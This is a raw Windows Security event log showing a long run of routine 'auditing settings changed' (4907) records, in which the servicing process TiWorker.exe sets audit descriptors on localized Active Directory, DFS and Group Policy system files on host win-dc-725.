-Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\KdsSvc.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247789 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\kdcsvc.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247788 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\kdcpw.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247787 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ismserv.exe.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247786 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gptedit.msc - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247785 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\GPRSoP.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247784 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpregistrybrowser.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247783 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpprefcn.dll.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247782 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpprefbr.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247781 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gppref.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247780 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\GPOAdminCustom.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247779 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\GPOAdminCommon.dll.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247778 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\GPOAdmin.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247777 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpmgmt.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247776 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpme.msc - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247775 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpme.dll.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247774 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\gpmc.msc - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247773 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dsrolesrv.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247772 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsutil.exe.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247771 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfssvc.exe.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247770 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsrs.exe.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247769 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsrress.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247768 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsrPropagationStrings.xml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247767 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsrmig.exe.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247766 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\DfsrHelper.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247765 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsrHealthStrings.xml - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247764 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsrHealthMessages.xml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247763 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\DfsRes.dll.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247762 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsncimprov.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247761 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\DfsfrsHost.exe.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247760 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfsdiag.exe.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247759 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dfscmd.exe.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247758 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\csvde.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247757 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\adprep.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info 